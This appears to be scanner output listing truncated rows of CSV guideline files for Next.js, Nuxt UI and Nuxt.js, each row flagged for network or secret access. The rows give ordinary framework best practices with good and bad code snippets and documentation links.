11,Rendering,Choose correct rendering strategy,SSG for static SSR for dynamic ISR for semi-static,generateStaticParams for known paths,SSR for static content,export const revalidate = 3600,fetch without cache config,Medium, 12,DataFetching, - Network accessline 13
12,DataFetching,Fetch data in Server Components,Fetch directly in async Server Components,async function Page() { const data = await fetch() },useEffect for initial data,const data = await fetch(url),useEffect(() => fetch(url)),High,https:/ - Network accessline 14
13,DataFetching,Configure caching explicitly (Next.js 15+),Next.js 15 changed defaults to uncached for fetch,Explicitly set cache: 'force-cache' for static data,Assume default is cached (it's not in Next.js 15),fetch(url { cache: 'force-cac - Network accessline 15
14,DataFetching,Deduplicate fetch requests,React and Next.js dedupe same requests,Same fetch call in multiple components,Manual request deduplication,Multiple components fetch same URL,Custom cache layer,Low, 15,DataFetching,Use Server Acti - Network accessline 16
15,DataFetching,Use Server Actions for mutations,Server Actions for form submissions,action={serverAction} in forms,API route for every mutation,<form action={createPost}>,<form onSubmit={callApiRoute}>,Medium,https://nextjs.org/docs/app/bu - Network accessline 17
16,DataFetching,Revalidate data appropriately,Use revalidatePath/revalidateTag after mutations,Revalidate after Server Action,'use client' with manual refetch,revalidatePath('/posts'),router.refresh() everywhere,Medium,https://nextjs.org/do - Network accessline 18
17,Images,Use next/image for optimization,Automatic image optimization and lazy loading,<Image> component for all images,<img> tags directly,<Image src={} alt={} width={} height={}>,<img src={}/>,High,https://nextjs.org/docs/app/building-yo - Network accessline 19
18,Images,Provide width and height,Prevent layout shift with dimensions,width and height props or fill,Missing dimensions,<Image width={400} height={300}/>,<Image src={url}/>,High, 19,Images,Use fill for responsive images,Fill container wit - Network accessline 20
19,Images,Use fill for responsive images,Fill container with object-fit,fill prop with relative parent,Fixed dimensions for responsive,"<Image fill className=""object-cover""/>",<Image width={window.width}/>,Medium, 20,Images,Configure remo - Network accessline 21
20,Images,Configure remote image domains,Whitelist external image sources,remotePatterns in next.config.js,Allow all domains,remotePatterns: [{ hostname: 'cdn.example.com' }],domains: ['*'],High,https://nextjs.org/docs/app/api-reference/com - Network accessline 22
21,Images,Use priority for LCP images,Mark above-fold images as priority,priority prop on hero images,All images with priority,<Image priority src={hero}/>,<Image priority/> on every image,Medium, 22,Fonts,Use next/font for fonts,Self-hoste - Network accessline 23
22,Fonts,Use next/font for fonts,Self-hosted fonts with zero layout shift,next/font/google or next/font/local,External font links,import { Inter } from 'next/font/google',"<link href=""fonts.googleapis.com""/>",Medium,https://nextjs.org/doc - Network accessline 24
23,Fonts,Apply font to layout,Set font in root layout for consistency,className on body in layout.tsx,Font in individual pages,<body className={inter.className}>,Each page imports font,Low, 24,Fonts,Use variable fonts,Variable fonts reduce - Network accessline 25
24,Fonts,Use variable fonts,Variable fonts reduce bundle size,Single variable font file,Multiple font weights as files,Inter({ subsets: ['latin'] }),Inter_400 Inter_500 Inter_700,Low, 25,Metadata,Use generateMetadata for dynamic,Generate me - Network accessline 26
25,Metadata,Use generateMetadata for dynamic,Generate metadata based on params,export async function generateMetadata(),Hardcoded metadata everywhere,generateMetadata({ params }),export const metadata = {},Medium,https://nextjs.org/docs/app - Network accessline 27
26,Metadata,Include OpenGraph images,Add OG images for social sharing,opengraph-image.tsx or og property,Missing social preview images,opengraph: { images: ['/og.png'] },No OG configuration,Medium, 27,Metadata,Use metadata API,Export metada - Network accessline 28
27,Metadata,Use metadata API,Export metadata object for static metadata,export const metadata = {},Manual head tags,export const metadata = { title: 'Page' },<head><title>Page</title></head>,Medium, 28,API,Use Route Handlers for APIs,app/ap - Network accessline 29
28,API,Use Route Handlers for APIs,app/api routes for API endpoints,app/api/users/route.ts,pages/api for new projects,export async function GET(request),export default function handler,Medium,https://nextjs.org/docs/app/building-your-applic - Network accessline 31
30,API,Handle HTTP methods explicitly,Export named functions for methods,Export GET POST PUT DELETE,Single handler for all methods,export async function POST(),switch(req.method),Low, 31,API,Validate request body,Validate input before proce - Network accessline 32
31,API,Validate request body,Validate input before processing,Zod or similar for validation,Trust client input,const body = schema.parse(await req.json()),const body = await req.json(),High, 32,Middleware,Use middleware for auth,Protect rou - Network accessline 33
32,Middleware,Use middleware for auth,Protect routes with middleware.ts,middleware.ts at root,Auth check in every page,export function middleware(request),if (!session) redirect in page,Medium,https://nextjs.org/docs/app/building-your-appli - Network accessline 34
33,Middleware,Match specific paths,Configure middleware matcher,config.matcher for specific routes,Run middleware on all routes,matcher: ['/dashboard/:path*'],No matcher config,Medium, 34,Middleware,Keep middleware edge-compatible,Middlewar - Network accessline 35
34,Middleware,Keep middleware edge-compatible,Middleware runs on Edge runtime,Edge-compatible code only,Node.js APIs in middleware,Edge-compatible auth check,fs.readFile in middleware,High, 35,Environment,Use NEXT_PUBLIC prefix,Client-acces - Network accessline 36
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Network accessline 37
36,Environment,Validate env vars,Check required env vars exist,Validate on startup,Undefined env at runtime,if (!process.env.DATABASE_URL) throw,process.env.DATABASE_URL (might be undefined),High, 37,Environment,Use .env.local for secrets,L - Network accessline 38
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Network accessline 39
38,Performance,Analyze bundle size,Use @next/bundle-analyzer,Bundle analyzer in dev,Ship large bundles blindly,ANALYZE=true npm run build,No bundle analysis,Medium,https://nextjs.org/docs/app/building-your-application/optimizing/bundle-anal - Network accessline 40
39,Performance,Use dynamic imports,Code split with next/dynamic,dynamic() for heavy components,Import everything statically,const Chart = dynamic(() => import('./Chart')),import Chart from './Chart',Medium,https://nextjs.org/docs/app/buildi - Network accessline 41
40,Performance,Avoid layout shifts,Reserve space for dynamic content,Skeleton loaders aspect ratios,Content popping in,"<Skeleton className=""h-48""/>",No placeholder for async content,High, 41,Performance,Use Partial Prerendering,Combine s - Network accessline 42
41,Performance,Use Partial Prerendering,Combine static and dynamic in one route,Static shell with Suspense holes,Full dynamic or static pages,Static header + dynamic content,Entire page SSR,Low,https://nextjs.org/docs/app/building-your-appl - Network accessline 43
42,Link,Use next/link for navigation,Client-side navigation with prefetching,"<Link href=""""> for internal links",<a> for internal navigation,"<Link href=""/about"">About</Link>","<a href=""/about"">About</a>",High,https://nextjs.org/docs/ - Network accessline 44
43,Link,Prefetch strategically,Control prefetching behavior,prefetch={false} for low-priority,Prefetch all links,<Link prefetch={false}>,Default prefetch on every link,Low, 44,Link,Use scroll option appropriately,Control scroll behavior on - Network accessline 45
44,Link,Use scroll option appropriately,Control scroll behavior on navigation,scroll={false} for tabs pagination,Always scroll to top,<Link scroll={false}>,Manual scroll management,Low, 45,Config,Use next.config.js correctly,Configure Next. - Network accessline 46
45,Config,Use next.config.js correctly,Configure Next.js behavior,Proper config options,Deprecated or wrong options,images: { remotePatterns: [] },images: { domains: [] },Medium,https://nextjs.org/docs/app/api-reference/next-config-js - Network accessline 47
46,Config,Enable strict mode,Catch potential issues early,reactStrictMode: true,Strict mode disabled,reactStrictMode: true,reactStrictMode: false,Medium, 47,Config,Configure redirects and rewrites,Use config for URL management,redirects() r - Network accessline 48
47,Config,Configure redirects and rewrites,Use config for URL management,redirects() rewrites() in config,Manual redirect handling,redirects: async () => [...],res.redirect in pages,Medium,https://nextjs.org/docs/app/api-reference/next-conf - Network accessline 49
48,Deployment,Use Vercel for easiest deploy,Vercel optimized for Next.js,Deploy to Vercel,Self-host without knowledge,vercel deploy,Complex Docker setup for simple app,Low,https://nextjs.org/docs/app/building-your-application/deploying - Network accessline 50
49,Deployment,Configure output for self-hosting,Set output option for deployment target,output: 'standalone' for Docker,Default output for containers,output: 'standalone',No output config for Docker,Medium,https://nextjs.org/docs/app/buildi - Network accessline 51
50,Security,Sanitize user input,Never trust user input,Escape sanitize validate all input,Direct interpolation of user data,DOMPurify.sanitize(userInput),dangerouslySetInnerHTML={{ __html: userInput }},High, 51,Security,Use CSP headers,Cont - Network accessline 52
51,Security,Use CSP headers,Content Security Policy for XSS protection,Configure CSP in next.config.js,No security headers,headers() with CSP,No CSP configuration,High,https://nextjs.org/docs/app/building-your-application/configuring/conten
skills/ui-ux-pro-max/data/stacks/nuxt-ui.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Installation,Add Nuxt UI module,Install and configure Nuxt UI in your Nuxt project,pnpm add @nuxt/ui and add to modules,Manual component imports,"modules: ['@ - Network accessline 2
1,Installation,Add Nuxt UI module,Install and configure Nuxt UI in your Nuxt project,pnpm add @nuxt/ui and add to modules,Manual component imports,"modules: ['@nuxt/ui']","import { UButton } from '@nuxt/ui'",High,https://ui.nuxt.com/docs/ge - Network accessline 3
2,Installation,Import Tailwind and Nuxt UI CSS,Required CSS imports in main.css file,@import tailwindcss and @import @nuxt/ui,Skip CSS imports,"@import ""tailwindcss""; @import ""@nuxt/ui"";",No CSS imports,High,https://ui.nuxt.com/docs/get - Network accessline 4
3,Installation,Wrap app with UApp component,UApp provides global configs for Toast Tooltip and overlays,<UApp> wrapper in app.vue,Skip UApp wrapper,<UApp><NuxtPage/></UApp>,<NuxtPage/> without wrapper,High,https://ui.nuxt.com/docs/component - Network accessline 5
4,Components,Use U prefix for components,All Nuxt UI components use U prefix by default,UButton UInput UModal,Button Input Modal,<UButton>Click</UButton>,<Button>Click</Button>,Medium,https://ui.nuxt.com/docs/getting-started/installation/nu - Network accessline 6
5,Components,Use semantic color props,Use semantic colors like primary secondary error,color="primary" color="error",Hardcoded colors,"<UButton color=""primary"">","<UButton class=""bg-green-500"">",Medium,https://ui.nuxt.com/docs/getting-s - Network accessline 7
6,Components,Use variant prop for styling,Nuxt UI provides solid outline soft subtle ghost link variants,variant="soft" variant="outline",Custom button classes,"<UButton variant=""soft"">","<UButton class=""border bg-transparent"">",Medium, - Network accessline 8
7,Components,Use size prop consistently,Components support xs sm md lg xl sizes,size="sm" size="lg",Arbitrary sizing classes,"<UButton size=""lg"">","<UButton class=""text-xl px-6"">",Low,https://ui.nuxt.com/docs/components/button - Network accessline 9
8,Icons,Use icon prop with Iconify format,Nuxt UI supports Iconify icons via icon prop,icon="lucide:home" icon="heroicons:user",i-lucide-home format,"<UButton icon=""lucide:home"">","<UButton icon=""i-lucide-home"">",Medium,https://ui.nuxt. - Network accessline 10
9,Icons,Use leadingIcon and trailingIcon,Position icons with dedicated props for clarity,leadingIcon="lucide:plus" trailingIcon="lucide:arrow-right",Manual icon positioning,"<UButton leadingIcon=""lucide:plus"">","<UButton><Icon name=""luci - Network accessline 11
10,Theming,Configure colors in app.config.ts,Runtime color configuration without restart,ui.colors.primary in app.config.ts,Hardcoded colors in components,"defineAppConfig({ ui: { colors: { primary: 'blue' } } })","<UButton class=""bg-blue- - Network accessline 12
11,Theming,Use @theme directive for custom colors,Define design tokens in CSS with Tailwind @theme,@theme { --color-brand-500: #xxx },Inline color definitions,@theme { --color-brand-500: #ef4444; },:style="{ color: '#ef4444' }",Medium,https - Network accessline 13
12,Theming,Extend semantic colors in nuxt.config,Register new colors like tertiary in theme.colors,theme.colors array in ui config,Use undefined colors,"ui: { theme: { colors: ['primary', 'tertiary'] } }","<UButton color=""tertiary""> witho - Network accessline 14
13,Forms,Use UForm with schema validation,UForm supports Zod Yup Joi Valibot schemas,:schema prop with validation schema,Manual form validation,"<UForm :schema=""schema"" :state=""state"">",Manual @blur validation,High,https://ui.nuxt.com/d - Network accessline 15
14,Forms,Use UFormField for field wrapper,Provides label error message and validation display,UFormField with name prop,Manual error handling,"<UFormField name=""email"" label=""Email"">",<div><label>Email</label><UInput/><span>error</span> - Network accessline 16
15,Forms,Handle form submit with @submit,UForm emits submit event with validated data,@submit handler on UForm,@click on submit button,"<UForm @submit=""onSubmit"">","<UButton @click=""onSubmit"">",Medium,https://ui.nuxt.com/docs/components - Network accessline 17
16,Forms,Use validateOn prop for validation timing,Control when validation triggers (blur change input),validateOn="['blur']" for performance,Always validate on input,"<UForm :validateOn=""['blur', 'change']"">","<UForm> (validates on every - Network accessline 18
17,Overlays,Use v-model:open for overlay control,Modal Slideover Drawer use v-model:open,v-model:open for controlled state,Manual show/hide logic,"<UModal v-model:open=""isOpen"">",<UModal v-if="isOpen">,Medium,https://ui.nuxt.com/docs/comp - Network accessline 19
18,Overlays,Use useOverlay composable for programmatic overlays,Open overlays programmatically without template refs,useOverlay().open(MyModal),Template ref and manual control,"const overlay = useOverlay(); overlay.open(MyModal, { props })" - Network accessline 20
19,Overlays,Use title and description props,Built-in header support for overlays,title="Confirm" description="Are you sure?",Manual header content,"<UModal title=""Confirm"" description=""Are you sure?"">","<UModal><template #header><h2>Con - Network accessline 21
20,Dashboard,Use UDashboardSidebar for navigation,Provides collapsible resizable sidebar with mobile support,UDashboardSidebar with header default footer slots,Custom sidebar implementation,<UDashboardSidebar><template #header>...</template - Network accessline 22
21,Dashboard,Use UDashboardGroup for layout,Wraps dashboard components with sidebar state management,UDashboardGroup > UDashboardSidebar + UDashboardPanel,Manual layout flex containers,<UDashboardGroup><UDashboardSidebar/><UDashboardPanel/> - Network accessline 23
22,Dashboard,Use UDashboardNavbar for top navigation,Responsive navbar with mobile menu support,UDashboardNavbar in dashboard layout,Custom navbar implementation,<UDashboardNavbar :links="navLinks"/>,<nav class="border-b">,Low,https://ui.nu - Network accessline 24
23,Tables,Use UTable with data and columns props,Powered by TanStack Table with built-in features,:data and :columns props,Manual table markup,"<UTable :data=""users"" :columns=""columns""/>","<table><tr v-for=""user in users"">",High,https - Network accessline 25
24,Tables,Define columns with accessorKey,Column definitions use accessorKey for data binding,accessorKey: 'email' in column def,String column names only,"{ accessorKey: 'email', header: 'Email' }","['name', 'email']",Medium,https://ui.nuxt - Network accessline 26
25,Tables,Use cell slot for custom rendering,Customize cell content with scoped slots,#cell-columnName slot,Override entire table,<template #cell-status="{ row }">,Manual column render function,Medium,https://ui.nuxt.com/docs/components/tab - Network accessline 27
26,Tables,Enable sorting with sortable column option,Add sortable: true to column definition,sortable: true in column,Manual sort implementation,"{ accessorKey: 'name', sortable: true }",@click="sortBy('name')",Low,https://ui.nuxt.com/docs/ - Network accessline 28
27,Navigation,Use UNavigationMenu for nav links,Horizontal or vertical navigation with dropdown support,UNavigationMenu with items array,Manual nav with v-for,"<UNavigationMenu :items=""navItems""/>","<nav><a v-for=""item in items"">",Mediu - Network accessline 29
28,Navigation,Use UBreadcrumb for page hierarchy,Automatic breadcrumb with NuxtLink support,:items array with label and to,Manual breadcrumb links,"<UBreadcrumb :items=""breadcrumbs""/>","<nav><span v-for=""crumb in crumbs"">",Low,https://u - Network accessline 30
29,Navigation,Use UTabs for tabbed content,Tab navigation with content panels,UTabs with items containing slot content,Manual tab state,"<UTabs :items=""tabs""/>","<div><button @click=""tab=1"">",Medium,https://ui.nuxt.com/docs/components/t - Network accessline 31
30,Feedback,Use useToast for notifications,Composable for toast notifications,useToast().add({ title description }),Alert components for toasts,"const toast = useToast(); toast.add({ title: 'Saved' })",<UAlert v-if="showSuccess">,High,https - Network accessline 32
31,Feedback,Use UAlert for inline messages,Static alert messages with icon and actions,UAlert with title description color,Toast for static messages,"<UAlert title=""Warning"" color=""warning""/>",useToast for inline alerts,Medium,https://u - Network accessline 33
32,Feedback,Use USkeleton for loading states,Placeholder content during data loading,USkeleton with appropriate size,Spinner for content loading,<USkeleton class="h-4 w-32"/>,<UIcon name="lucide:loader" class="animate-spin"/>,Low,https://ui - Network accessline 34
33,Color Mode,Use UColorModeButton for theme toggle,Built-in light/dark mode toggle button,UColorModeButton component,Manual color mode logic,<UColorModeButton/>,"<button @click=""toggleColorMode"">",Low,https://ui.nuxt.com/docs/components/ - Network accessline 35
34,Color Mode,Use UColorModeSelect for theme picker,Dropdown to select system light or dark mode,UColorModeSelect component,Custom select for theme,<UColorModeSelect/>,"<USelect v-model=""colorMode"" :items=""modes""/>",Low,https://ui.nuxt. - Network accessline 36
35,Customization,Use ui prop for component styling,Override component styles via ui prop,ui prop with slot class overrides,Global CSS overrides,"<UButton :ui=""{ base: 'rounded-full' }""/>",<UButton class="!rounded-full"/>,Medium,https://ui - Network accessline 37
36,Customization,Configure default variants in nuxt.config,Set default color and size for all components,theme.defaultVariants in ui config,Repeat props on every component,"ui: { theme: { defaultVariants: { color: 'neutral' } } }","<UButton - Network accessline 38
37,Customization,Use app.config.ts for theme overrides,Runtime theme customization,defineAppConfig with ui key,nuxt.config for runtime values,"defineAppConfig({ ui: { button: { defaultVariants: { size: 'sm' } } } })","nuxt.config ui.button. - Network accessline 39
38,Performance,Enable component detection,Tree-shake unused component CSS,experimental.componentDetection: true,Include all component CSS,"ui: { experimental: { componentDetection: true } }","ui: {} (includes all CSS)",Low,https://ui.nuxt.c - Network accessline 40
39,Performance,Use UTable virtualize for large data,Enable virtualization for 1000+ rows,:virtualize prop on UTable,Render all rows,"<UTable :data=""largeData"" virtualize/>","<UTable :data=""largeData""/>",Medium,https://ui.nuxt.com/docs/c - Network accessline 41
40,Accessibility,Use semantic component props,Components have built-in ARIA support,Use title description label props,Skip accessibility props,"<UModal title=""Settings"">","<UModal><h2>Settings</h2>",Medium,https://ui.nuxt.com/docs/compone - Network accessline 42
41,Accessibility,Use UFormField for form accessibility,Automatic label-input association,UFormField wraps inputs,Manual id and for attributes,"<UFormField label=""Email""><UInput/></UFormField>","<label for=""email"">Email</label><UInput id - Network accessline 43
42,Content,Use UContentToc for table of contents,Automatic TOC with active heading highlight,UContentToc with :links,Manual TOC implementation,"<UContentToc :links=""toc""/>","<nav><a v-for=""heading in headings"">",Low,https://ui.nuxt.com/ - Network accessline 44
43,Content,Use UContentSearch for docs search,Command palette for documentation search,UContentSearch with Nuxt Content,Custom search implementation,<UContentSearch/>,<UCommandPalette :groups="searchResults"/>,Low,https://ui.nuxt.com/docs/c - Network accessline 45
44,AI/Chat,Use UChatMessages for chat UI,Designed for Vercel AI SDK integration,UChatMessages with messages array,Custom chat message list,"<UChatMessages :messages=""messages""/>","<div v-for=""msg in messages"">",Medium,https://ui.nuxt.co - Network accessline 46
45,AI/Chat,Use UChatPrompt for input,Enhanced textarea for AI prompts,UChatPrompt with v-model,Basic textarea,<UChatPrompt v-model="prompt"/>,<UTextarea v-model="prompt"/>,Medium,https://ui.nuxt.com/docs/components/chat-prompt - Network accessline 47
46,Editor,Use UEditor for rich text,TipTap-based editor with toolbar support,UEditor with v-model:content,Custom TipTap setup,"<UEditor v-model:content=""content""/>",Manual TipTap initialization,Medium,https://ui.nuxt.com/docs/components/e - Network accessline 48
47,Links,Use to prop for navigation,UButton and ULink support NuxtLink to prop,to="/dashboard" for internal links,href for internal navigation,"<UButton to=""/dashboard"">","<UButton href=""/dashboard"">",Medium,https://ui.nuxt.com/docs/com - Network accessline 49
48,Links,Use external prop for outside links,Explicitly mark external links,target="_blank" with external URLs,Forget rel="noopener","<UButton to=""https://example.com"" target=""_blank"">","<UButton href=""https://..."">",Low,https://ui.nu - Network accessline 50
49,Loading,Use loadingAuto on buttons,Automatic loading state from @click promise,loadingAuto prop on UButton,Manual loading state,"<UButton loadingAuto @click=""async () => await save()"">","<UButton :loading=""isLoading"" @click=""save""> - Network accessline 51
50,Loading,Use UForm loadingAuto,Auto-disable form during submit,loadingAuto on UForm (default true),Manual form disabled state,"<UForm @submit=""handleSubmit"">","<UForm :disabled=""isSubmitting"">",Low,https://ui.nuxt.com/docs/components/
skills/ui-ux-pro-max/data/stacks/nuxtjs.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Routing,Use file-based routing,Create routes by adding files in pages directory,pages/ directory with index.vue,Manual route configuration,pages/dashboard/ind - Network accessline 2
1,Routing,Use file-based routing,Create routes by adding files in pages directory,pages/ directory with index.vue,Manual route configuration,pages/dashboard/index.vue,Custom router setup,Medium,https://nuxt.com/docs/getting-started/routing - Network accessline 3
2,Routing,Use dynamic route parameters,Create dynamic routes with bracket syntax,[id].vue for dynamic params,Hardcoded routes for dynamic content,pages/posts/[id].vue,pages/posts/post1.vue,Medium,https://nuxt.com/docs/getting-started/routin - Network accessline 4
3,Routing,Use catch-all routes,Handle multiple path segments with [...slug],[...slug].vue for catch-all,Multiple nested dynamic routes,pages/[...slug].vue,pages/[a]/[b]/[c].vue,Low,https://nuxt.com/docs/getting-started/routing - Network accessline 5
4,Routing,Define page metadata with definePageMeta,Set page-level configuration and middleware,definePageMeta for layout middleware title,Manual route meta configuration,"definePageMeta({ layout: 'admin', middleware: 'auth' })",router.befor - Network accessline 6
5,Routing,Use validate for route params,Validate dynamic route parameters before rendering,validate function in definePageMeta,Manual validation in setup,"definePageMeta({ validate: (route) => /^\d+$/.test(route.params.id) })",if (!valid) n - Network accessline 7
6,Rendering,Use SSR by default,Server-side rendering is enabled by default,Keep ssr: true (default),Disable SSR unnecessarily,ssr: true (default),ssr: false for all pages,High,https://nuxt.com/docs/guide/concepts/rendering - Network accessline 8
7,Rendering,Use .client suffix for client-only components,Mark components to render only on client,ComponentName.client.vue suffix,v-if with process.client check,Comments.client.vue,<div v-if="process.client"><Comments/></div>,Medium,https: - Network accessline 9
8,Rendering,Use .server suffix for server-only components,Mark components to render only on server,ComponentName.server.vue suffix,Manual server check,HeavyMarkdown.server.vue,v-if="process.server",Low,https://nuxt.com/docs/guide/directory- - Network accessline 10
9,DataFetching,Use useFetch for simple data fetching,Wrapper around useAsyncData for URL fetching,useFetch for API calls,$fetch in onMounted,"const { data } = await useFetch('/api/posts')","onMounted(async () => { data.value = await $fetch( - Network accessline 11
10,DataFetching,Use useAsyncData for complex fetching,Fine-grained control over async data,useAsyncData for CMS or custom fetching,useFetch for non-URL data sources,"const { data } = await useAsyncData('posts', () => cms.getPosts())","const - Network accessline 12
11,DataFetching,Use $fetch for non-reactive requests,$fetch for event handlers and non-component code,$fetch in event handlers or server routes,useFetch in click handlers,"async function submit() { await $fetch('/api/submit', { method: 'POS - Network accessline 13
12,DataFetching,Use lazy option for non-blocking fetch,Defer data fetching for better initial load,lazy: true for below-fold content,Blocking fetch for non-critical data,"useFetch('/api/comments', { lazy: true })",await useFetch('/api/comme - Network accessline 14
13,DataFetching,Use server option to control fetch location,Choose where data is fetched,server: false for client-only data,Server fetch for user-specific client data,"useFetch('/api/user-preferences', { server: false })",useFetch for local - Network accessline 15
14,DataFetching,Use pick to reduce payload size,Select only needed fields from response,pick option for large responses,Fetching entire objects when few fields needed,"useFetch('/api/user', { pick: ['id', 'name'] })",useFetch('/api/user') t - Network accessline 16
15,DataFetching,Use transform for data manipulation,Transform data before storing in state,transform option for data shaping,Manual transformation after fetch,"useFetch('/api/posts', { transform: (posts) => posts.map(p => p.title) })",const - Network accessline 17
16,DataFetching,Handle loading and error states,Always handle pending and error states,Check status pending error refs,Ignoring loading states,"<div v-if=""status === 'pending'"">Loading...</div>",No loading indicator,High,https://nuxt.com/ - Network accessline 18
17,Lifecycle,Avoid side effects in script setup root,Move side effects to lifecycle hooks,Side effects in onMounted,setInterval in root script setup,"onMounted(() => { interval = setInterval(...) })","<script setup>setInterval(...)</script> - Network accessline 19
18,Lifecycle,Use onMounted for DOM access,Access DOM only after component is mounted,onMounted for DOM manipulation,Direct DOM access in setup,"onMounted(() => { document.getElementById('el') })","<script setup>document.getElementById('el') - Network accessline 20
19,Lifecycle,Use nextTick for post-render access,Wait for DOM updates before accessing elements,await nextTick() after state changes,Immediate DOM access after state change,"count.value++; await nextTick(); el.value.focus()","count.value++; - Network accessline 21
20,Lifecycle,Use onPrehydrate for pre-hydration logic,Run code before Nuxt hydrates the page,onPrehydrate for client setup,onMounted for hydration-critical code,"onPrehydrate(() => { console.log(window) })",onMounted for pre-hydration needs - Network accessline 22
21,Server,Use server/api for API routes,Create API endpoints in server/api directory,server/api/users.ts for /api/users,Manual Express setup,server/api/hello.ts -> /api/hello,app.get('/api/hello'),High,https://nuxt.com/docs/guide/directory- - Network accessline 23
22,Server,Use defineEventHandler for handlers,Define server route handlers,defineEventHandler for all handlers,export default function,"export default defineEventHandler((event) => { return { hello: 'world' } })","export default function(re - Network accessline 24
23,Server,Use server/routes for non-api routes,Routes without /api prefix,server/routes for custom paths,server/api for non-api routes,server/routes/sitemap.xml.ts,server/api/sitemap.xml.ts,Medium,https://nuxt.com/docs/guide/directory-struc - Network accessline 25
24,Server,Use getQuery and readBody for input,Access query params and request body,getQuery(event) readBody(event),Direct event access,"const { id } = getQuery(event)",event.node.req.query,Medium,https://nuxt.com/docs/guide/directory-struct - Network accessline 26
25,Server,Validate server input,Always validate input in server handlers,Zod or similar for validation,Trust client input,"const body = await readBody(event); schema.parse(body)",const body = await readBody(event),High,https://nuxt.com/docs - Network accessline 27
26,State,Use useState for shared reactive state,SSR-friendly shared state across components,useState for cross-component state,ref for shared state,"const count = useState('count', () => 0)",const count = ref(0) in composable,High,https://n - Network accessline 28
27,State,Use unique keys for useState,Prevent state conflicts with unique keys,Descriptive unique keys for each state,Generic or duplicate keys,"useState('user-preferences', () => ({}))",useState('data') in multiple places,Medium,https://nu - Network accessline 29
28,State,Use Pinia for complex state,Pinia for advanced state management,@pinia/nuxt for complex apps,Custom state management,useMainStore() with Pinia,Custom reactive store implementation,Medium,https://nuxt.com/docs/getting-started/state- - Network accessline 30
29,State,Use callOnce for one-time async operations,Ensure async operations run only once,callOnce for store initialization,Direct await in component,"await callOnce(store.fetch)",await store.fetch() on every render,Medium,https://nuxt.com/ - Network accessline 31
30,SEO,Use useSeoMeta for SEO tags,Type-safe SEO meta tag management,useSeoMeta for meta tags,useHead for simple meta,"useSeoMeta({ title: 'Home', ogTitle: 'Home', description: '...' })","useHead({ meta: [{ name: 'description', content: '.. - Network accessline 32
31,SEO,Use reactive values in useSeoMeta,Dynamic SEO tags with refs or getters,Computed getters for dynamic values,Static values for dynamic content,"useSeoMeta({ title: () => post.value.title })","useSeoMeta({ title: post.value.title })",M - Network accessline 33
32,SEO,Use useHead for non-meta head elements,Scripts styles links in head,useHead for scripts and links,useSeoMeta for scripts,"useHead({ script: [{ src: '/analytics.js' }] })","useSeoMeta({ script: '...' })",Medium,https://nuxt.com/docs/a - Network accessline 34
33,SEO,Include OpenGraph tags,Add OG tags for social sharing,ogTitle ogDescription ogImage,Missing social preview,"useSeoMeta({ ogImage: '/og.png', twitterCard: 'summary_large_image' })",No OG configuration,Medium,https://nuxt.com/docs/api/ - Network accessline 35
34,Middleware,Use defineNuxtRouteMiddleware,Define route middleware properly,defineNuxtRouteMiddleware wrapper,export default function,"export default defineNuxtRouteMiddleware((to, from) => {})","export default function(to, from) {}",High, - Network accessline 36
35,Middleware,Use navigateTo for redirects,Redirect in middleware with navigateTo,return navigateTo('/login'),router.push in middleware,"if (!auth) return navigateTo('/login')","if (!auth) router.push('/login')",High,https://nuxt.com/docs/a - Network accessline 37
36,Middleware,Reference middleware in definePageMeta,Apply middleware to specific pages,middleware array in definePageMeta,Global middleware for page-specific,definePageMeta({ middleware: ['auth'] }),Global auth check for one page,Medium,ht - Network accessline 38
37,Middleware,Use .global suffix for global middleware,Apply middleware to all routes,auth.global.ts for app-wide auth,Manual middleware on every page,middleware/auth.global.ts,middleware: ['auth'] on every page,Medium,https://nuxt.com/docs - Network accessline 39
38,ErrorHandling,Use createError for errors,Create errors with proper status codes,createError with statusCode,throw new Error,"throw createError({ statusCode: 404, statusMessage: 'Not Found' })",throw new Error('Not Found'),High,https://nu - Network accessline 40
39,ErrorHandling,Use NuxtErrorBoundary for local errors,Handle errors within component subtree,NuxtErrorBoundary for component errors,Global error page for local errors,"<NuxtErrorBoundary @error=""log""><template #error=""{ error }"">",err - Network accessline 41
40,ErrorHandling,Use clearError to recover from errors,Clear error state and optionally redirect,clearError({ redirect: '/' }),Manual error state reset,clearError({ redirect: '/home' }),error.value = null,Medium,https://nuxt.com/docs/api/ut - Network accessline 42
41,ErrorHandling,Use short statusMessage,Keep statusMessage brief for security,Short generic messages,Detailed error info in statusMessage,"createError({ statusCode: 400, statusMessage: 'Bad Request' })","createError({ statusMessage: 'Inval - Network accessline 43
42,Link,Use NuxtLink for internal navigation,Client-side navigation with prefetching,<NuxtLink to> for internal links,<a href> for internal links,<NuxtLink to="/about">About</NuxtLink>,<a href="/about">About</a>,High,https://nuxt.com/docs/a - Network accessline 44
43,Link,Configure prefetch behavior,Control when prefetching occurs,prefetchOn for interaction-based,Default prefetch for low-priority,"<NuxtLink prefetch-on=""interaction"">",Always default prefetch,Low,https://nuxt.com/docs/api/components - Network accessline 45
44,Link,Use useRouter for programmatic navigation,Navigate programmatically,useRouter().push() for navigation,Direct window.location,"const router = useRouter(); router.push('/dashboard')",window.location.href = '/dashboard',Medium,https:// - Network accessline 46
45,Link,Use navigateTo in composables,Navigate outside components,navigateTo() in middleware or plugins,useRouter in non-component code,return navigateTo('/login'),router.push in middleware,Medium,https://nuxt.com/docs/api/utils/navigate-to - Network accessline 47
46,AutoImports,Leverage auto-imports,Use auto-imported composables directly,Direct use of ref computed useFetch,Manual imports for Nuxt composables,"const count = ref(0)","import { ref } from 'vue'; const count = ref(0)",Medium,https://nuxt - Network accessline 48
47,AutoImports,Use #imports for explicit imports,Explicit imports when needed,#imports for clarity or disabled auto-imports,"import from 'vue' when auto-import enabled","import { ref } from '#imports'","import { ref } from 'vue'",Low,https: - Network accessline 49
48,AutoImports,Configure third-party auto-imports,Add external package auto-imports,imports.presets in nuxt.config,Manual imports everywhere,"imports: { presets: [{ from: 'vue-i18n', imports: ['useI18n'] }] }",import { useI18n } everywhere, - Network accessline 50
49,Plugins,Use defineNuxtPlugin,Define plugins properly,defineNuxtPlugin wrapper,export default function,"export default defineNuxtPlugin((nuxtApp) => {})","export default function(ctx) {}",High,https://nuxt.com/docs/guide/directory-structu - Network accessline 51
